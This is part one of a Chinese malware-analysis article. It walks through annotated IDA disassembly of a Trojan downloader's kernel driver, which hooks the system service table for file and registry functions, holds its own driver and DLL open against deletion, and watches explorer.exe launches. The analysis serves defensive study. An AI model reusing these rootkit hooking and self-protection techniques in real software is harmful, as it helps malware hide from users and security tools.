当前位置: 首页 >> 网络协议与安全 >> 驱动木马源代码分析
 

驱动木马源代码分析

作者:      来源:zz     发表时间:2007-01-26     浏览次数:      字号:    

【文章标题】: 一个驱动木马的分析
【文章作者】: prince
【作者邮箱】: cracker_prince@163.com
【作者QQ号】: 812937
【软件名称】: Trojan program Trojan-Downloader.Win32.Agent.bbb(卡巴命名)
【下载地址】: http://www.unpack.cn/viewthread.php?tid=8733&extra=page%3D1
【加壳方式】: 无
【编写语言】: ---
【使用工具】: IDA 5.0, WinDbg 6.6.007.5, VMWare 5.5.
【操作平台】: WINDOWS XP
【软件介绍】: 某木马or恶意软件的driver部分
【作者声明】: 水平有限,了解不多,仅作参考。
--------------------------------------------------------------------------------
【前言】
大概2个多星期前看到在Unpack『 病毒木马 』区Lvg同学发了这个样本,就用业余时间

看了看。本人纯属入门级选手,所以各位看到有什么解释的不妥或者直接让您喷饭地方,还请不吝赐教,

谢谢。

【详细过程】
由于是驱动文件,不考虑极端情况,就认为它没壳,直接IDA之。

入口:

.text:00010F5B ; *************** S U B R O U T I N E ***************************************
.text:00010F5B
.text:00010F5B
.text:00010F5B ; int __stdcall start(PDRIVER_OBJECT DriverObject,int)
.text:00010F5B public start
.text:00010F5B start proc near
.text:00010F5B
.text:00010F5B DriverObject = dword ptr 4
.text:00010F5B arg_4 = dword ptr 8
.text:00010F5B
.text:00010F5B push [esp+arg_4] ; RegistryPath
.text:00010F5F call sub_10966 ; 参数为:RegistryPath;
.text:00010F5F ; 修改SDT,hook关键函数
.text:00010F5F
.text:00010F64 test al, al ; 判断hook是否成功
.text:00010F66 jnz short loc_10F6F ; 成功则跳
.text:00010F66
.text:00010F68 mov eax, 0C0000001h ; 否则返回STATUS_UNSUCCESSFUL

(0C0000001h)
.text:00010F6D jmp short locret_10FD2
.text:00010F6D
.text:00010F6F ; ---------------------------------------------------------------------------
.text:00010F6F
.text:00010F6F loc_10F6F: ; CODE XREF: start+Bj
.text:00010F6F push esi
.text:00010F70 push edi
.text:00010F71 xor edi, edi ; edi清零
.text:00010F73 xor esi, esi ; esi清零
.text:00010F75 inc esi
.text:00010F76 mov dword_1160C, esi ; dword_1160C = 1
.text:00010F7C mov dword_11608, edi ; dword_11608 = 0
.text:00010F82 mov dword_115FC, esi ; dword_115FC = 1
.text:00010F88 mov dword_115F8, edi ; dword_115F8 = 0
.text:00010F8E mov dword_11604, edi ; dword_11604 = 0
.text:00010F94 mov dword_11600, edi ; dword_11600 = 0
.text:00010F9A mov dword_11614, edi ; dword_11614 = 0
.text:00010FA0 mov Handle, edi ; Handle = 0
.text:00010FA6 call sub_10EFF ; 创建线程 - 设置注册表注册驱动和打开

dll和sys文件
.text:00010FA6
.text:00010FAB call sub_10C61 ; ZwCreateFile打开"\SystemRoot",判

断hook是否成功?
.text:00010FAB
.text:00010FB0 test al, al ; 利用返回值判断是否打开成功
.text:00010FB2 jz short loc_10FBC ; 打开失败则跳
.text:00010FB2
.text:00010FB4 push esi
.text:00010FB5 call sub_106B9 ; 用原始的NtCreateFile打开
.text:00010FB5 ; "\SystemRoot\system32

\drivers\esqyo.sys" 和
.text:00010FB5 ; "\SystemRoot\system32\ydljs.dll"并

保存句柄
.text:00010FB5 ; 目的是防止这两个文件被关闭和删除
.text:00010FB5
.text:00010FBA jmp short loc_10FC5
.text:00010FBA
.text:00010FBC ; ---------------------------------------------------------------------------
.text:00010FBC
.text:00010FBC loc_10FBC: ; CODE XREF: start+57j
.text:00010FBC push [esp+8+DriverObject] ; DriverObject
.text:00010FC0 call sub_10D1B ; 如果出现什么问题则调用

IoRegisterDriverReinitialization
.text:00010FC0 ; 重新再来一遍。狠...
.text:00010FC0
.text:00010FC5
.text:00010FC5 loc_10FC5: ; CODE XREF: start+5Fj
.text:00010FC5 push edi ; Remove - edi = 0 (FALSE - 创建

hookRoutine)
.text:00010FC6 push offset NotifyRoutine ; NotifyRoutine - (监视函数)
.text:00010FC6 ; 该函数监视explorer.exe进程启动,跟

目标同时启动打开驱动、dll,写注册表等动作
.text:00010FCB call PsSetCreateProcessNotifyRoutine ; 监视进程创建及销毁
.text:00010FCB
.text:00010FD0 pop edi
.text:00010FD1 pop esi
.text:00010FD1
.text:00010FD2
.text:00010FD2 locret_10FD2: ; CODE XREF: start+12j
.text:00010FD2 retn 8
.text:00010FD2
.text:00010FD2 start endp

************************************************************************
跟进sub_10966:

.text:00010966 ; arg_0
.text:00010966
.text:00010966 sub_10966 proc near ; CODE XREF: start+4p
.text:00010966
.text:00010966 arg_0 = dword ptr 8
.text:00010966
.text:00010966 push ebx ; arg_0
.text:00010967 call sub_10857 ; 对一些常量字符串进行解码还原
.text:00010967
.text:0001096C xor ebx, ebx
.text:0001096E push ebx ; CSDVersion - NULL
.text:0001096F push offset BuildNumber ; BuildNumber
.text:00010974 push offset MinorVersion ; MinorVersion
.text:00010979 push offset MajorVersion ; MajorVersion
.text:0001097E call PsGetVersion ; 获取系统版本号,build number
.text:0001097E
.text:00010983 call sub_107F0 ; 在当前进程的EPROCESS结构中搜索字符

串"System",
.text:00010983 ; 返回的偏移值后面要用到
.text:00010983
.text:00010988 cmp eax, ebx ; 检查是否搜索到了指定字符串
.text:0001098A mov dword_118F0, eax ; 保存字符串在EPROCESS结构中的偏移,
.text:0001098A ; 即dword_118F0 =

EPROCESS.ImageFileName
.text:0001098F jnz short loc_10998 ; 找到则跳走
.text:0001098F
.text:00010991 xor al, al ; 如果没找到指定字符串,则al 清零
.text:00010993 jmp loc_10A2C ; 跳到函数结尾返回
.text:00010993
.text:00010998 ; ---------------------------------------------------------------------------
.text:00010998
.text:00010998 loc_10998: ; CODE XREF: sub_10966+29j
.text:00010998 push ebp
.text:00010999 push esi
.text:0001099A push edi
.text:0001099B push 40h ; size_t
.text:0001099D push ebx ; int
.text:0001099E mov esi, offset word_11618
.text:000109A3 push esi ; void *
.text:000109A4 call memset ; 变量word_11618清零 (大小为0x40)
.text:000109A4
.text:000109A9 mov edi, ds:wcsncpy
.text:000109AF push 1Fh ; size_t
.text:000109B1 push offset s_Esqyo ; "esqyo"
.text:000109B6 push esi ; wchar_t *
.text:000109B7 call edi ; wcsncpy ; 拷贝字符串"esqyo"至变量word_11618
.text:000109B9 push 40h ; size_t
.text:000109BB push ebx ; int
.text:000109BC mov esi, offset unk_116A0
.text:000109C1 push esi ; void *
.text:000109C2 call memset ; 将变量unk_116a0清零 (大小为0x40)
.text:000109C2
.text:000109C7 push 1Fh ; size_t
.text:000109C9 push offset s_Ydljs ; "ydljs"
.text:000109CE push esi ; wchar_t *
.text:000109CF call edi ; wcsncpy ; 拷贝字符串"ydljs"至变量unk_116a0
.text:000109D1 mov ebp, 200h
.text:000109D6 push ebp ; size_t
.text:000109D7 push ebx ; int
.text:000109D8 mov esi, offset unk_116F0
.text:000109DD push esi ; void *
.text:000109DE call memset ; 将变量unk_116f0清零 (大小0x200)
.text:000109DE
.text:000109E3 push 40h ; size_t
.text:000109E5 push ebx ; int
.text:000109E6 mov ebx, offset word_11658
.text:000109EB push ebx ; void *
.text:000109EC call memset ; 将变量word_11658清零 (大小0x40)
.text:000109EC
.text:000109F1 add esp, 48h
.text:000109F4 push 1Fh ; size_t
.text:000109F6 push offset s_Ydljs_0 ; "ydljs"
.text:000109FB push ebx ; wchar_t *
.text:000109FC call edi ; wcsncpy ; 拷贝字符串"ydljs"至变量word_11658
.text:000109FE push ebp ; size_t
.text:000109FF push 0 ; int
.text:00010A01 push esi ; void *
.text:00010A02 call memset ; 将变量unk_116f0清零 (大小0x200)
.text:00010A02
.text:00010A07 mov eax, [esp+24h+arg_0] ; +0x024 HardwareDatabase

: Ptr32 _UNICODE_STRING
.text:00010A07 ; Pointer to the

\Registry\Machine\Hardware path to the hardware configuration information in the registry.
.text:00010A0B movzx ecx, word ptr [eax]
.text:00010A0E push ecx ; size_t
.text:00010A0F push dword ptr [eax+4] ; void *
.text:00010A0F ;

"\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\esqyo"
.text:00010A12 push esi ; void *
.text:00010A13 call memcpy ; 将HardwareDatabase字符串拷贝至变量

unk_116f0
.text:00010A13
.text:00010A18 push esi ; wchar_t *
.text:00010A19 call ds:_wcslwr ; 转换为小写字母
.text:00010A19 ;

"registry\machine\system\controlset001\services\esqyo"
.text:00010A1F add esp, 28h
.text:00010A22 call sub_10883 ; 修改SDT来HOOK ZwCreateFile、

ZwSetValueKey、
.text:00010A22 ; ZwEnumerateKey、ZwOpenKey、ZwClose

等函数入口
.text:00010A22
.text:00010A27 pop edi
.text:00010A28 pop esi
.text:00010A29 mov al, 1 ; 返回1表示成功
.text:00010A2B pop ebp
.text:00010A2B
.text:00010A2C
.text:00010A2C loc_10A2C: ; CODE XREF: sub_10966+2Dj
.text:00010A2C pop ebx
.text:00010A2D retn 4
.text:00010A2D
.text:00010A2D sub_10966 endp
*************************************************************************************

sub_10857是对一些常量字符串的解码函数,所谓解码,其实就是将字符的ASCII码+1,呵呵。

sub_107F0搜索EPROCESS结构中的ImageFileName来计算偏移位置,后面判断进程创建的时候要用到这个值。

.text:000107F0 sub_107F0 proc near ; CODE XREF: sub_10966+1Dp
.text:000107F0 push ebx
.text:000107F1 push esi
.text:000107F2 push edi
.text:000107F3 call ds:IoGetCurrentProcess ; 获取当前进程的PEPROCESS结构

指针
.text:000107F9 mov ebx, eax ; 保存指针至ebx
.text:000107FB xor edi, edi ; edi清零
.text:000107FD mov esi, offset s_Rxrsdl ; esi指向字符串"System"
.text:000107FD
.text:00010802
.text:00010802 loc_10802: ; CODE XREF: sub_107F0+32j
.text:00010802 push esi ; char *
.text:00010803 call strlen ; 取"System"字符串长度
.text:00010803
.text:00010808 push eax ; size_t 比较字符串的长度
.text:00010809 lea eax, [edi+ebx]
.text:0001080C push eax ; char *
.text:0001080D push esi ; char *
.text:0001080E call ds:strncmp ; 比较字符串是否相等
.text:00010814 add esp, 10h
.text:00010817 test eax, eax
.text:00010819 jz short loc_1082A ; 相等就跳
.text:00010819
.text:0001081B inc edi
.text:0001081C cmp edi, 3000h ; 遍历EPROCESS结构,搜索指定字符串
.text:00010822 jl short loc_10802
.text:00010822
.text:00010824 xor eax, eax ; 没有找到指定字符串,返回0
.text:00010824
.text:00010826
.text:00010826 loc_10826: ; CODE XREF: sub_107F0+3Cj
.text:00010826 pop edi
.text:00010827 pop esi
.text:00010828 pop ebx
.text:00010829 retn
.text:00010829
.text:0001082A ; ---------------------------------------------------------------------------
.text:0001082A
.text:0001082A loc_1082A: ; CODE XREF: sub_107F0+29j
.text:0001082A mov eax, edi ; 返回指定字符串在EPROCESS中的偏移位


.text:0001082C jmp short loc_10826
.text:0001082C
.text:0001082C sub_107F0 endp

sub_10883利用修改SDT来hook一些函数:

.text:00010883
.text:00010883 sub_10883 proc near ; CODE XREF: sub_10966+BCp
.text:00010883 mov eax, ds:ZwCreateFile
.text:00010888 push ebx
.text:00010889 mov ebx, ds:ZwSetValueKey
.text:0001088F push ebp
.text:00010890 mov ebp, ds:ZwEnumerateKey
.text:00010896 push esi
.text:00010897 mov esi, ds:ZwOpenKey
.text:0001089D push edi
.text:0001089E mov edi, ds:ZwClose
.text:000108A4 mov dword_11698, esi ; ZwOpenKey
.text:000108AA mov dword_116E8, edi ; ZwClose
.text:000108B0 mov dword_116E4, ebx ; ZwSetValueKey
.text:000108B6 mov dword_116E0, ebp ; ZwEnumerateKey
.text:000108BC mov dword_116EC, eax ; ZwCreateFile
.text:000108C1 call sub_110EB ; 得到ntoskrnl.exe,并映射到内存
.text:000108C1
.text:000108C6 test al, al ; 检查返回值
.text:000108C8 jz loc_1095F ; 失败则跳走
.text:000108C8
.text:000108CE push esi ; ZwOpenKey
.text:000108CF call sub_111E8 ; 修改SDT,返回一个地址(原始

NtOpenKey函数地址)
.text:000108CF
.text:000108D4 push ebx ; ZwSetValueKey
.text:000108D5 mov dword_11698, eax ; dword_11698 = 原始NtOpenKey函数地


.text:000108DA call sub_111E8
.text:000108DA
.text:000108DF push ebp ; ZwEnumerateKey
.text:000108E0 mov dword_116E4, eax ; dword_116E4 = 原始NtSetValueKey函

数地址
.text:000108E5 call sub_111E8
.text:000108E5
.text:000108EA push edi ; ZwClose
.text:000108EB mov dword_116E0, eax ; dword_116E0 = 原始NtEnumerateKey函

数地址
.text:000108F0 call sub_111E8
.text:000108F0
.text:000108F5 push ds:ZwCreateFile
.text:000108FB mov dword_116E8, eax ; dword_116E8 = 原始NtClose函数地址
.text:00010900 call sub_111E8
.text:00010900
.text:00010905 mov dword_116EC, eax ; dword_116EC = 原始NtCreateFile函数

地址
.text:0001090A call sub_11222 ; 取消映射,关闭section、file等句柄
.text:0001090A
.text:0001090F xor eax, eax
.text:00010911 cmp dword_11698, eax ; 判断dword_11698(NtOpenKey())是否为


.text:00010917 jz short loc_1093D ; 为零则跳
.text:00010917
.text:00010919 cmp dword_116E4, eax ; 判断dword_116E4(NtSetValueKey())是

否为空
.text:0001091F jz short loc_1093D
.text:0001091F
.text:00010921 cmp dword_116E0, eax ; 判断dword_116E0(NtEnumerateKey())

是否为空
.text:00010927 jz short loc_1093D
.text:00010927
.text:00010929 cmp dword_116E8, eax ; 判断dword_116E8(NtClose)是否为空
.text:0001092F jz short loc_1093D
.text:0001092F
.text:00010931 cmp dword_116EC, eax ; 判断dword_116EC(NtCreateFile)是否

为空
.text:00010937 jz short loc_1093D
.text:00010937
.text:00010939 mov al, 1
.text:0001093B jmp short loc_10961 ; 否则返回1
.text:0001093B
.text:0001093D ; ---------------------------------------------------------------------------
.text:0001093D
.text:0001093D loc_1093D: ; CODE XREF: sub_10883+94j
.text:0001093D ; sub_10883+9Cj
.text:0001093D ; sub_10883+A4j
.text:0001093D ; sub_10883+ACj
.text:0001093D ; sub_10883+B4j
.text:0001093D mov eax, ds:ZwCreateFile
.text:00010942 mov dword_11698, esi ; esi = ZwOpenKey
.text:00010948 mov dword_116E8, edi ; edi = ZwClose
.text:0001094E mov dword_116E4, ebx ; ebx = ZwSetValueKey
.text:00010954 mov dword_116E0, ebp ; ebp = ZwEnumerateKey
.text:0001095A mov dword_116EC, eax ; eax = ZwCreateFile
.text:0001095A
.text:0001095F
.text:0001095F loc_1095F: ; CODE XREF: sub_10883+45j
.text:0001095F xor al, al ; 返回0
.text:0001095F
.text:00010961
.text:00010961 loc_10961: ; CODE XREF: sub_10883+B8j
.text:00010961 pop edi
.text:00010962 pop esi
.text:00010963 pop ebp
.text:00010964 pop ebx
.text:00010965 retn
.text:00010965
.text:00010965 sub_10883 endp

[1] [2]

编辑 webmaster

 
 
 
评论更多>>
 
 
发表
 
姓名: QQ:
性别: MSN:
E-mail: 主页:
评分: 1 2 3 4 5
评论内容:
验证码:
  
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  •